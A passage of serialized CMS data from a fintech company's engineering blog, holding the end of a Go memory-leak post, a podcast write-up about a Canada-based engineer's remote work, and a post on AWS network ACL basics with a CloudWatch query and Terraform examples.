default).",[8137,8138],{"start":3243,"end":7824,"type":780},{"start":604,"end":2469,"type":780},{"type":396,"text":8140,"spans":8141,"direction":4053},"Fortunately, this is easy to fix - we should create otelhttp handler once and wrap gin handler with it. Code without the leak can be found on the fixed-leak branch. After the change, memory graph looks much more stable:",[8142,8143,8144],{"start":547,"end":2103,"type":780},{"start":549,"end":590,"type":780},{"start":8096,"end":8145,"type":744,"data":8146},156,{"link_type":453,"url":8147,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fblog-memory-leaks\u002Fcompare\u002Fmaster..fixed-leak",{"link_type":487},{"dimensions":8150,"alt":13,"copyright":13,"url":8153,"id":8154,"edit":8155},{"width":8151,"height":8152},2551,718,"\u002F_prismic-media\u002F38ec0dcbd41c1b41-YuKyXh8V08WTndtR_6efd8b9d-1e0d-40dd-830d-ddd76db.png","YuKyXh8V08WTndtR",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$897df7d2-67a0-4a1e-a04f-4a4cc48d5824",{"variation":459,"version":460,"items":8163,"primary":8164,"id":8183,"slice_type":479,"slice_label":13},[],{"body":8165},[8166,8168,8171,8174,8177,8180],{"type":1097,"text":982,"spans":8167,"direction":4053},[],{"type":396,"text":8169,"spans":8170,"direction":4053},"We've covered:",[],{"type":1101,"text":8172,"spans":8173,"direction":4053},"pprof format",[],{"type":1101,"text":8175,"spans":8176,"direction":4053},"how to instrument and expose profile data from your applications",[],{"type":1101,"text":8178,"spans":8179,"direction":4053},"how to use pprof to interpret heap memory profiles",[],{"type":396,"text":8181,"spans":8182,"direction":4053},"Hopefully from now on finding and fixing next memory leak in your own applications is going to be a breeze.",[],"rich_text$60684319-6168-4b79-b874-7bc464f0c583",{"id":8185,"uid":8186,"url":8187,"type":406,"href":8188,"tags":8189,"first_publication_date":7737,"last_publication_date":8190,"slugs":8191,"linked_documents":8193,"lang":386,"alternate_languages":8194,"data":8195},"alz08BEAACoAUWcH","podcast-remote-work","\u002Fresources\u002Fengineering-blog\u002Fpodcast-remote-work","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz08BEAACoAUWcH%22%29+%5D%5D",[],"2026-08-27T02:06:57+0000",[8192],"ep-37-.tech---flexible-remote-working-at-form3",[],[],{"title":8196,"excerpt":8197,"card_image":8198,"published_date":8203,"reading_time":667,"tag":427,"dek":8197,"featured_image":8204,"about_form3":8209,"client_about_heading":13,"client_about_body":8210,"author_name":1277,"author_title":1278,"author_photo":8211,"author_bio":8214,"author_linkedin":8217,"slices":8219,"meta_title":8196,"meta_description":8197},".tech Podcast - Flexible remote working at Form3","Jordan Van Dyk is Form3's first Canada based engineer. He joins us to share why he chose to work at Form3, what his interview experience was and what a typical day looks like for him on the Tooling team. Then, he shares how his team works and makes recommendations for how highly distributed teams can successfully work together.",{"dimensions":8199,"alt":8196,"copyright":13,"url":8200,"id":8201,"edit":8202},{"width":420,"height":420},"\u002F_prismic-media\u002F8c9fdb70bbf28217-hVWZiuQ_D1uafs0y_podcast-remote-work.png","hVWZiuQ_D1uafs0y",{"x":17,"y":17,"zoom":18,"background":19},"2022-11-17",{"dimensions":8205,"alt":13,"copyright":13,"url":8206,"id":8207,"edit":8208},{"width":1270,"height":2672},"\u002F_prismic-media\u002Ff350bc1bcb62d791-jdYA-yUv3r_PaZPu_3390881d-1cd2-4ae0-abe6-527c461.png","jdYA-yUv3r_PaZPu",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":8212,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":8213},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[8215],{"type":396,"text":1287,"spans":8216},[],{"link_type":453,"key":8218,"url":1291,"target":456},"82a97f26-6ab7-43a2-9c1f-3200c2fdc1cf",[8220,8240,8259,8306,8340,8379,8399,8428],{"variation":459,"version":481,"items":8221,"primary":8222,"id":8239,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":8223,"body":8227,"cta_label":1304,"cta_link":8230,"aside_type":13,"aside_image":8233,"aside_video":8234,"aside_video_poster":8235,"aside_video_reduced_motion":8236,"aside_video_url":13,"aside_embed":8237,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":8238,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[8224],{"type":465,"text":8225,"spans":8226},"Ep 37 .tech - Flexible remote working at Form3",[],[8228],{"type":396,"text":1302,"spans":8229},[],{"link_type":453,"key":8231,"url":8232},"92d6136a-9db1-4b72-af99-ef93387a7b5e","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-37-tech-flexible-remote-working-at-form3-eJEfXeHo",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$3bd0211c-6334-4b97-ba68-957fff3c3485",{"variation":459,"version":460,"items":8241,"primary":8242,"id":8258,"slice_type":479,"slice_label":13},[],{"body":8243},[8244],{"type":396,"text":8245,"spans":8246},"Jordan Van Dyk is a Senior Software Developer on the Tooling Team at Form3. Two of the major projects he's working on are k8s-promoter and a variety of GitHub actions tooling. Based in Canada, Jordan has been at Form3 since November 2021.",[8247,8250,8252,8255],{"start":17,"end":1342,"type":744,"data":8248},{"link_type":453,"url":8249,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fjordanvandyk\u002F",{"start":687,"end":1405,"type":744,"data":8251},{"link_type":453,"url":1328,"target":456},{"start":7826,"end":743,"type":744,"data":8253},{"link_type":453,"url":8254,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fk8s-promoter",{"start":2752,"end":2537,"type":744,"data":8256},{"link_type":453,"url":8257,"target":456},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Factions","rich_text$4dbffc7f-33e6-4549-a252-1ff1668a99b1",{"variation":459,"version":460,"items":8260,"primary":8261,"id":8305,"slice_type":479,"slice_label":13},[],{"body":8262},[8263,8266,8272,8275,8278,8284,8290,8296,8302],{"type":465,"text":8264,"spans":8265},"Choosing Form3",[],{"type":396,"text":8267,"spans":8268},"Jordan was our very first Canada based employee, with more colleagues since. He first found out about Form3 on LinkedIn Jobs. He was drawn to the opportunity for two main reasons:",[8269],{"start":2475,"end":6124,"type":744,"data":8270},{"link_type":453,"url":8271,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fjobs\u002Fsearch\u002F?keywords=form3&refresh=true",{"type":1101,"text":8273,"spans":8274},"Getting into FinTech was something appealing to Jordan",[],{"type":1101,"text":8276,"spans":8277},"The job advertisement sounded really interesting Ready for a new challenge, Jordan decided to apply!",[],{"type":396,"text":8279,"spans":8280},"During his interview process, Jordan was impressed with the recruiter interactions, who gave him a completely different experience from companies he was applying with at the time. Then, Jordan learned about the tech stack which included:",[8281],{"start":2082,"end":3024,"type":744,"data":8282},{"link_type":453,"url":8283,"target":456},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fwho-we-are\u002Ftech-stack",{"type":1101,"text":8285,"spans":8286},"Terraform",[8287],{"start":17,"end":2380,"type":744,"data":8288},{"link_type":453,"url":8289,"target":456},"https:\u002F\u002Fdeveloper.hashicorp.com\u002Fterraform\u002Ftutorials",{"type":1101,"text":8291,"spans":8292},"Kubernetes",[8293],{"start":17,"end":426,"type":744,"data":8294},{"link_type":453,"url":8295,"target":456},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Ftutorials\u002Fkubernetes-basics\u002F",{"type":1101,"text":8297,"spans":8298},"Go",[8299],{"start":17,"end":2010,"type":744,"data":8300},{"link_type":453,"url":8301,"target":456},"https:\u002F\u002Fgo.dev\u002Ftour\u002Fwelcome\u002F1",{"type":396,"text":8303,"spans":8304},"After these initial impressions, he was even more excited and convinced that he wanted to continue with the process.",[],"rich_text$1ca887b6-183e-4ede-a1a9-b63cbf758fb6",{"variation":459,"version":460,"items":8307,"primary":8308,"id":8339,"slice_type":479,"slice_label":13},[],{"body":8309},[8310,8313,8316,8324,8327,8330,8333,8336],{"type":465,"text":8311,"spans":8312},"The interview process",[],{"type":396,"text":8314,"spans":8315},"Jordan was completely new to Go, which is typical for most of the candidates that we interview at Form3.",[],{"type":396,"text":8317,"spans":8318},"The first step in the Form3 interview process was a take home test, which aims to be closer to a real world situation than the typical Leetcode-style coding questions. Despite Jordan's lack of experience, he found resources on the internet which made it easy to accomplish.",[8319,8322],{"start":579,"end":1346,"type":744,"data":8320},{"link_type":453,"url":8321,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fcandidate-pack\u002Fblob\u002Fmaster\u002Fpages\u002Fcoding-task.md",{"start":547,"end":1520,"type":744,"data":8323},{"link_type":453,"url":8321,"target":456},{"type":396,"text":8325,"spans":8326},"After the take home test, the next step is the video interview which lasts 1.5hrs split into three parts:",[],{"type":1101,"text":8328,"spans":8329},"A further introduction to Form3",[],{"type":1101,"text":8331,"spans":8332},"A mock incident",[],{"type":1101,"text":8334,"spans":8335},"Take home task discussion",[],{"type":396,"text":8337,"spans":8338},"At the end, Jordan chose to join Form3 for a variety of reasons: tech stack, engineering culture, as well as his personal passion for economics and banking. He has had the opportunity to learn more about the financial aspects from colleagues since joining.",[],"rich_text$afb8c2fe-511b-4789-ae3d-ccab329113e3",{"variation":459,"version":460,"items":8341,"primary":8342,"id":8378,"slice_type":479,"slice_label":13},[],{"body":8343},[8344,8347,8350,8353,8356,8359,8362,8365,8368,8371],{"type":465,"text":8345,"spans":8346},"A day in the life of Jordan",[],{"type":396,"text":8348,"spans":8349},"Due to hiring at scale, Jordan's team, the tooling team, was split into two smaller teams. Jordan's team now has 2 Canada-based colleagues on his team, as well as team members from the UK, Poland and other European countries. The other team has a similar mix of locations. This means that there is a 5\u002F6 hour time difference between Jordan and the rest of the team.",[],{"type":396,"text":8351,"spans":8352},"A typical day for Jordan consists of:",[],{"type":1101,"text":8354,"spans":8355},"Waking up close to his meetings start time and grabbing a coffee (don't we know the feeling!)",[],{"type":1101,"text":8357,"spans":8358},"Logging into the team daily sync meeting, which is a 15 minute status meeting to highlight any blockers",[],{"type":1101,"text":8360,"spans":8361},"Depending on the day, there could be other team ceremonies such as refinement sessions or retrospectives. These meetings are kept to as much of a minimum as possible. Any amount of overlap time in a highly distributed team is extremely valuable, so the team don't want to take it all up with meetings.",[],{"type":1101,"text":8363,"spans":8364},"Working on new or existing tasks. Typically, this also means pairing with a fellow engineer for a few hours of the day.",[],{"type":396,"text":8366,"spans":8367},"Timewise, Jordan works approximately 9AM to 5PM. Most of his meetings will run from 9AM to 11AM local time (or 2PM to 4PM European time). He typically pairs until about 12PM, when he will break for lunch. Typically, he will be working by himself in the afternoon.",[],{"type":396,"text":8369,"spans":8370},"Pairing is standard practice at Form3 and working in a vastly different timezone does pose some difficulties. The overlap in time is typically 3 hours, so the team does require some planning for pairing. However, asynchronous communication is something that is required to move tasks forward.",[],{"type":396,"text":8372,"spans":8373},"As a side note, Jordan had never working with pair programming on his team before. Now, he can't imagine ever going back and working without pairing. You can read more about our approach to pairing in this wonderful blogpost.",[8374],{"start":8375,"end":7009,"type":744,"data":8376},201,{"link_type":453,"url":8377,"target":456},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fcontent\u002Fremote-pair-programming","rich_text$a42647f4-024e-44f7-b36f-a48200ecaf88",{"variation":459,"version":460,"items":8380,"primary":8381,"id":8398,"slice_type":479,"slice_label":13},[],{"body":8382},[8383,8386,8389,8392,8395],{"type":465,"text":8384,"spans":8385},"Team adjustments",[],{"type":396,"text":8387,"spans":8388},"As the first Canada-based engineer, Jordan sees himself as a bit of a guinea pig for the team and company as a whole. He has played a crucial role in adjusting the team working processes to allow for working in locations across vast time differences. When he joined, the team did have to make some changes:",[],{"type":1101,"text":8390,"spans":8391},"Moved most of their team meetings in the afternoon for the European time zones, in order to allow Jordan to join in his morning time.",[],{"type":1101,"text":8393,"spans":8394},"Meetings with other teams also had to be moved in the afternoon for the European time zones. If these meetings cannot be moved, then catch-up meetings or notes are required to bring everyone up to speed.",[],{"type":396,"text":8396,"spans":8397},"Async communication takes place almost entirely on Slack, while GitHub is used to track issues and the progress of work. Slack bots are used to automate as much of the mentions and reminders as possible.",[],"rich_text$ada395d1-5806-43ac-bc53-9ed204f1cc0d",{"variation":459,"version":460,"items":8400,"primary":8401,"id":8427,"slice_type":479,"slice_label":13},[],{"body":8402},[8403,8406,8409,8412,8415,8418,8421,8424],{"type":465,"text":8404,"spans":8405},"Project work",[],{"type":396,"text":8407,"spans":8408},"Jordan gives us an idea of how the Tooling team organise and deliver their work:",[],{"type":1101,"text":8410,"spans":8411},"When it comes to planning, the team makes a quarterly plan together with their product manager (PM). The PM has the overview of any client requirements and whether there are any immediate team dependencies on the Tooling team.",[],{"type":1101,"text":8413,"spans":8414},"Then, they use GitHub to create and prioritise granular tasks.",[],{"type":1101,"text":8416,"spans":8417},"From there, the team is allowed to choose their own work, respecting the set priorities as much as possible. They then start tackling tasks as quickly as possible.",[],{"type":1101,"text":8419,"spans":8420},"Every so often, the team have refinement meetings with their team lead to ensure that everyone is in alignment with the tasks that they are delivering, including the revision of deadlines.",[],{"type":396,"text":8422,"spans":8423},"Engineers at Form3 take a lot of ownership of their work. Ultimately, their lead is responsible for all the work that the team delivers. However, the team is expected to step up for issues or providing support to other teams. The Tooling on-call engineer will have an overview of who's worked on the features and be able to refer issues to the correct person. In a highly remote team, a highly refined backlog is crucial. It prevents those in other timezones from being stuck on tasks until the rest of the team come online and are able to provide guidance.",[],{"type":396,"text":8425,"spans":8426},"Documentation is another important aspect of the work that Jordan does on the Tooling team, as it provides guidance and knowledge-transfer to other teams. It's extremely important to keep progress and details of a task up to date to prevent drift in scope and project completion. At Form3, documentation is usually written at the end, as part of the definition of done. This ensures that we keep documentation up-to-date through the life of the project.",[],"rich_text$54c6b7d7-4881-4f90-88ff-1c5e2f0d7072",{"variation":459,"version":460,"items":8429,"primary":8430,"id":8447,"slice_type":479,"slice_label":13},[],{"body":8431},[8432,8435,8438,8441,8444],{"type":465,"text":8433,"spans":8434},"Advice",[],{"type":396,"text":8436,"spans":8437},"After working in a highly remote environment for nearly a year, Jordan can make the following two recommendations:",[],{"type":1101,"text":8439,"spans":8440},"Both the new joiner and the team need to be flexible to ensure that the remote joiner is not left to the wayside.",[],{"type":1101,"text":8442,"spans":8443},"Async communication should be the default choice. While it may feel that we are more connected when we jump on calls, async communication needs to move as the first priority to ensure that nobody is missing anything. Meetings should be recorded, allowing people to catch up.",[],{"type":396,"text":8445,"spans":8446},"Once you get into this routine of working, it flows pretty easily. Jordan is enjoying his time at Form3 and he is happy he took the leap in joining such a remote, distributed team.",[],"rich_text$48ef01ad-101c-4f31-bba5-72092796e8f1",{"id":8449,"uid":8450,"url":8451,"type":406,"href":8452,"tags":8453,"first_publication_date":7737,"last_publication_date":8454,"slugs":8455,"linked_documents":8456,"lang":386,"alternate_languages":8457,"data":8458},"alz09BEAAC0AUWcc","nacls-blogpost","\u002Fresources\u002Fengineering-blog\u002Fnacls-blogpost","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz09BEAAC0AUWcc%22%29+%5D%5D",[],"2026-08-27T21:41:12+0000",[2167],[],[],{"title":8459,"excerpt":8460,"card_image":8461,"published_date":8466,"reading_time":3400,"tag":427,"dek":8460,"featured_image":8467,"about_form3":8468,"client_about_heading":13,"client_about_body":8469,"author_name":13,"author_title":13,"author_photo":8470,"author_bio":8471,"author_linkedin":8472,"slices":8473,"meta_title":8459,"meta_description":8460},"NACLS? Ain't nobody got time for that!","In this blogpost, Adam will try to convince you to implement AWS NACL as additional layer of network protection. He will go through some basics, present some best practices that you could leverage and in the end show how easy it is to implement NACLs in Terraform.",{"dimensions":8462,"alt":8459,"copyright":13,"url":8463,"id":8464,"edit":8465},{"width":420,"height":420},"\u002F_prismic-media\u002Fe69afffe11590ca5-cckfFJmk4egWIJHY_nacls-blogpost.png","cckfFJmk4egWIJHY",{"x":17,"y":17,"zoom":18,"background":19},"2022-11-10",{},[],[],{},[],{"link_type":487},[8474,8484,8509,8532,8593,8634,8652,8660,8670,8681,8689,8699],{"variation":459,"version":460,"items":8475,"primary":8476,"id":8483,"slice_type":479,"slice_label":13},[],{"body":8477},[8478,8480],{"type":1097,"text":2208,"spans":8479,"direction":4053},[],{"type":396,"text":8481,"spans":8482,"direction":4053},"Every engineer that once created EC2 must have stumbled across Security Groups. They're used asstatefulhost firewalls to limit access to EC2 instance, Load balancers and other AWS Compute components. If you ever created EC2 you must have modified at least one Security Group rule. However what about AWS Network Access Control Lists (NACLs)? They're a little bit hidden in the background, forgotten, often omitted on purpose, waiting for you to be used as part of your Network Defense in Depth strategy. Let me walk you through and show how they can be used together with Security Groups to increase the security posture of your VPC and AWS environment.",[],"rich_text$5ce00efc-993b-4506-ab8d-752472921106",{"variation":459,"version":460,"items":8485,"primary":8486,"id":8508,"slice_type":479,"slice_label":13},[],{"body":8487},[8488,8491,8495,8499,8502],{"type":1097,"text":8489,"spans":8490,"direction":4053},"NACLs - the basics",[],{"type":396,"text":8492,"spans":8493,"direction":4053},"Let's start with the basics first. AWS NACLs are VPC's security control that act as stateless firewalls that are associated with subnets and control inbound and outbound traffic. They're supposed to supplement Security Groups and should be treated as an additional layer of security, not the only one. As opposed to Security Groups that are stateful, NACLS are stateless, which means you have to do define both incoming and outgoing rules to allow traffic to go through.",[8494],{"start":7071,"end":3249,"type":477},{"type":396,"text":8496,"spans":8497,"direction":4053},"Because they are assigned to a subnet they control traffic for all resources associated with that subnet. By default VPCc come with Default NACLs that allow ALL incoming and outgoing traffic. This NACL can be modified and additional rules can be added. Contrary to default NACLs when you create a custom one it will deny both incoming and outgoing traffic until you add proper rules.",[8498],{"start":2297,"end":2886,"type":477},{"type":396,"text":8500,"spans":8501,"direction":4053},"Every subnet must have a NACL associated. If you don't associate one the default one will be associated automatically for you. Each subnet can have only one NACL, however every NACL can be associated with many subnets.",[],{"type":396,"text":8503,"spans":8504,"direction":4053},"Everything (almost?) in AWS comes with a limit, so do the NACLs. The default maximum number of NACLs per VPC is 200 and 20 inbound and 20 outbound rules per NACL (note: ipv4 and ipv6 rules are counted separately). Those are soft limits and can be increased by contacting with AWS Support",[8505],{"start":4390,"end":3605,"type":744,"data":8506},{"link_type":453,"url":8507,"target":456},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fvpc\u002Flatest\u002Fuserguide\u002Famazon-vpc-limits.html#vpc-limits-nacls","rich_text$41aebdc9-51b4-4d5d-b447-c2c988473d70",{"variation":459,"version":481,"items":8510,"primary":8511,"id":8531,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":8512,"body":8513,"cta_label":13,"cta_link":8517,"aside_type":488,"aside_image":8518,"aside_video":8526,"aside_video_poster":8527,"aside_video_reduced_motion":8528,"aside_video_url":13,"aside_embed":8529,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":8530,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[8514],{"type":396,"text":8515,"spans":8516},"Overview of AWS NACL",[],{"link_type":487},{"dimensions":8519,"alt":8522,"copyright":13,"url":8523,"id":8524,"edit":8525},{"width":8520,"height":8521},991,1069,"Diagram of AWS VPCs, subnets and NACLs","\u002F_prismic-media\u002F19d56f1be94f70e3-rlF-Z65L5trMToYT_d9a492d3-cab5-422c-8293-152843e.png","rlF-Z65L5trMToYT",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$1d61f0da-ad2d-4d3a-8976-530d3c5d5ed9",{"variation":459,"version":460,"items":8533,"primary":8534,"id":8592,"slice_type":479,"slice_label":13},[],{"body":8535},[8536,8539,8542,8545,8548,8551,8554,8557,8560,8563,8566,8569,8572,8575,8581,8584,8587],{"type":1097,"text":8537,"spans":8538,"direction":4053},"Rules",[],{"type":396,"text":8540,"spans":8541,"direction":4053},"Each NACL consists of an ordered list of rules. Rules are evaluated in descending order. When traffic is matched the evaluation stops, regardless of the action taken.",[],{"type":396,"text":8543,"spans":8544,"direction":4053},"Each ruleset can have the following:",[],{"type":1101,"text":8546,"spans":8547,"direction":4053},"Rule Number",[],{"type":1101,"text":8549,"spans":8550,"direction":4053},"Type",[],{"type":1101,"text":8552,"spans":8553,"direction":4053},"Protocol",[],{"type":1101,"text":8555,"spans":8556,"direction":4053},"Port Range",[],{"type":1101,"text":8558,"spans":8559,"direction":4053},"Source (inbound) \u002F Destination (outbound)",[],{"type":1101,"text":8561,"spans":8562,"direction":4053},"Action",[],{"type":1101,"text":8564,"spans":8565,"direction":4053},"Comment",[],{"type":396,"text":8567,"spans":8568,"direction":4053},"Comment is optional, others are mandatory.",[],{"type":396,"text":8570,"spans":8571,"direction":4053},"The Rule number must be between 1 and 32766.",[],{"type":396,"text":8573,"spans":8574,"direction":4053},"Type is the type of the traffic, for example it can be SSH, HTTP, or All IPV4 Traffic.",[],{"type":396,"text":8576,"spans":8577,"direction":4053},"Protocol is defined as in IANN standard",[8578],{"start":596,"end":587,"type":744,"data":8579},{"link_type":453,"url":8580,"target":456},"http:\u002F\u002Fwww.iana.org\u002Fassignments\u002Fprotocol-numbers\u002Fprotocol-numbers.xhtml",{"type":396,"text":8582,"spans":8583,"direction":4053},"Port range is the usual TCP\u002FUDP port or port range.",[],{"type":396,"text":8585,"spans":8586,"direction":4053},"As Source\u002FDestination you can specify CIDR.",[],{"type":396,"text":8588,"spans":8589,"direction":4053},"Action can be either Allow or Deny.",[8590,8591],{"start":706,"end":596,"type":477},{"start":555,"end":1363,"type":477},"rich_text$556f328f-c4d4-4d50-964b-8d929a7fd26e",{"variation":459,"version":460,"items":8594,"primary":8595,"id":8633,"slice_type":479,"slice_label":13},[],{"body":8596},[8597,8600,8604,8607,8610,8613,8616,8619,8622,8625,8628],{"type":1097,"text":8598,"spans":8599,"direction":4053},"Best Practices",[],{"type":396,"text":8601,"spans":8602,"direction":4053},"The one of the biggest advantages of NACL rules is that they can be used to block incoming and outgoing traffic for specific IP address in response to attack or other corporate or regulatory requirements. This cannot be achieved using Security Groups, as you can only allow traffic and not block.",[8603],{"start":2393,"end":1430,"type":477},{"type":396,"text":8605,"spans":8606,"direction":4053},"Below you can find an open list of best practices that you can follow to implement NACLs in your environment:",[],{"type":582,"text":8608,"spans":8609,"direction":4053},"Rules have to be ordered from 1 to 32766. Instead of using sequential numbering you can leave a gap of at least 50 between each rule. This way it will be easier to add more rules later between already existing rules. Remember rules are evaluated in order!",[],{"type":582,"text":8611,"spans":8612,"direction":4053},"Using Default NACLs should be avoided.",[],{"type":582,"text":8614,"spans":8615,"direction":4053},"You should be as specific as possible in defining your rules, eg. avoid 0.0.0.0\u002F0 rules or other broad CIDR ranges.",[],{"type":582,"text":8617,"spans":8618,"direction":4053},"Avoid rules with All ports for incoming rules.",[],{"type":582,"text":8620,"spans":8621,"direction":4053},"Remember that NACLs are stateless so define outgoing rules. For that you could use ephemeral port ranges: 5.1. For AWS ELBs 1024-65535 5.2. For Linux servers 32768-61000 5.3. For Windows 49152-65535 5.4. For NAT Gateway and Lambda 1024-65535",[],{"type":582,"text":8623,"spans":8624,"direction":4053},"Allow SSH (TCP 22) and RDP (TCP\u002FUDP 3389) traffic only from your corporate network",[],{"type":582,"text":8626,"spans":8627,"direction":4053},"It's good to keep your rules documented for audit purpose and other engineers. Keep the comment brief but explain the reason for each rule",[],{"type":582,"text":8629,"spans":8630,"direction":4053},"Remember about limits!",[8631],{"start":2000,"end":706,"type":744,"data":8632},{"link_type":453,"url":8507,"target":456},"rich_text$cd87dac8-451f-4f12-9fa2-d24685723405",{"variation":459,"version":460,"items":8635,"primary":8636,"id":8651,"slice_type":479,"slice_label":13},[],{"body":8637},[8638,8641],{"type":1097,"text":8639,"spans":8640,"direction":4053},"NACL and NAT Gateway",[],{"type":396,"text":8642,"spans":8643,"direction":4053},"If you use NAT Gateways to NAT the traffic from your private networks you might see some strange logs in VPC flow logs. At first glance it might looks like the NAT gateway is accepting traffic from public internet. This could lead to potentially a lot of false positive alerts triggered in your SOC. NAT Gateway will never accept traffic from public internet, however there is one reason that it might look like it does. If you use default NACL or permit all inbound traffic in NACL that is associated with the same subnet as your NAT Gateway the packets will be accepted by NACL, recorded by VPC flow logs but dropped by NAT Gateway. As you cannot associate Security Group with NAT Gateway in order to block such traffic (for example from bots scanning the whole internet all the time) the only way would be to not allow any unnecessary traffic in NACL. If you want to check that in fact this is the case, you can use below query for Cloudwatch Insights:",[8644,8645,8648],{"start":443,"end":3882,"type":477},{"start":8646,"end":8647,"type":477},642,648,{"start":8649,"end":8650,"type":477},812,815,"rich_text$a7db11cc-485c-49f7-9566-5d5a5a3b01fa",{"variation":459,"version":460,"items":8653,"primary":8654,"id":8659,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":8655},[8656],{"type":563,"text":8657,"spans":8658},"filter (dstAddr like 'IP_OF_NAT_GW' and srcAddr like 'PUBLIC_IP')\n| stats sum(bytes) as bytesTransferred by srcAddr, dstAddr\n| limit 10",[],"code_block$21b8697b-5dcd-4999-855f-0f6cf02344ab",{"variation":459,"version":460,"items":8661,"primary":8662,"id":8669,"slice_type":479,"slice_label":13},[],{"body":8663},[8664],{"type":396,"text":8665,"spans":8666},"if the query returns only traffic from PUBLIC_IP to IP_OF_NAT_GW and not from other way around it means that packets were dropped by NAT gateway.",[8667,8668],{"start":587,"end":516,"type":780},{"start":547,"end":5013,"type":780},"rich_text$0833a29f-5f28-443b-844c-5e06b9d7c775",{"variation":459,"version":460,"items":8671,"primary":8672,"id":8680,"slice_type":479,"slice_label":13},[],{"body":8673},[8674,8677],{"type":1097,"text":8675,"spans":8676,"direction":4053},"IaC",[],{"type":396,"text":8678,"spans":8679,"direction":4053},"If you love IaC as we do at FORM3, here is how you can implement NACLs in Terraform:",[],"rich_text$7917cc32-c751-487b-93bf-7efbaab852d9",{"variation":459,"version":460,"items":8682,"primary":8683,"id":8688,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":8684},[8685],{"type":563,"text":8686,"spans":8687},"# Network ACL definition\nresource \"aws_network_acl\" \"bar\" {\n  vpc_id = aws_vpc.foo.id\n  \n  tags = {\n    \"Name\"        = \"bar\"     \n    \"Description\" = \"NACL for public subnets requiring SSH access and outgoing HTTPS traffic\"\n  }\n}\n\n#NACL subnet association\nresource \"aws_network_acl_association\" \"main\" {\n  network_acl_id = aws_network_acl.bar.id\n  subnet_id      = aws_subnet.main.id\n}\n\n# This rule allows inbound SSH access from corporate CIDR\nresource \"aws_network_acl_rule\" \"bar1\" {\n  network_acl_id = aws_network_acl.bar.id\n  rule_number    = 50\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"192.168.1.0\u002F24\"\n  from_port      = 22\n  to_port        = 22\n}\n\n# This rule allows return traffic on the ephemeral port range to corporate CIDR\nresource \"aws_network_acl_rule\" \"bar3\" {\n  network_acl_id = aws_network_acl.bar.id\n  rule_number    = 50\n  egress         = true\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"192.168.1.0\u002F24\"\n  from_port      = 32768\n  to_port        = 61000\n}\n\n# This rule allows outgoing traffic on https port to the different subnet\nresource \"aws_network_acl_rule\" \"bar4\" {\n  network_acl_id = aws_network_acl.bar.id\n  rule_number    = 100\n  egress         = true\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"192.168.2.0\u002F24\" #Subnet CIDR\n  from_port      = 443\n  to_port        = 443\n}",[],"code_block$2f21010a-be8e-4508-9be5-6a2fbdc001b1",{"variation":459,"version":460,"items":8690,"primary":8691,"id":8698,"slice_type":479,"slice_label":13},[],{"body":8692},[8693,8695],{"type":1097,"text":982,"spans":8694,"direction":4053},[],{"type":396,"text":8696,"spans":8697,"direction":4053},"Using AWS NACLs can increase the general security posture of AWS VPC and the whole environment. It should be treated as an additional security control implemented alongside Security Groups. It's not that hard and can also greatly reduce the amount of false positive alerts and reduce unnecessary traffic.",[],"rich_text$355d8220-1196-440e-bef2-6e0bc7072361",{"variation":459,"version":460,"items":8700,"primary":8701,"id":8716,"slice_type":479,"slice_label":13},[],{"body":8702},[8703,8705,8710],{"type":1097,"text":52,"spans":8704,"direction":4053},[],{"type":1101,"text":8706,"spans":8707,"direction":4053},"Quotas",[8708],{"start":17,"end":3400,"type":744,"data":8709},{"link_type":453,"url":8507,"target":456},{"type":1101,"text":8711,"spans":8712,"direction":4053},"Control traffic to subnets using Network 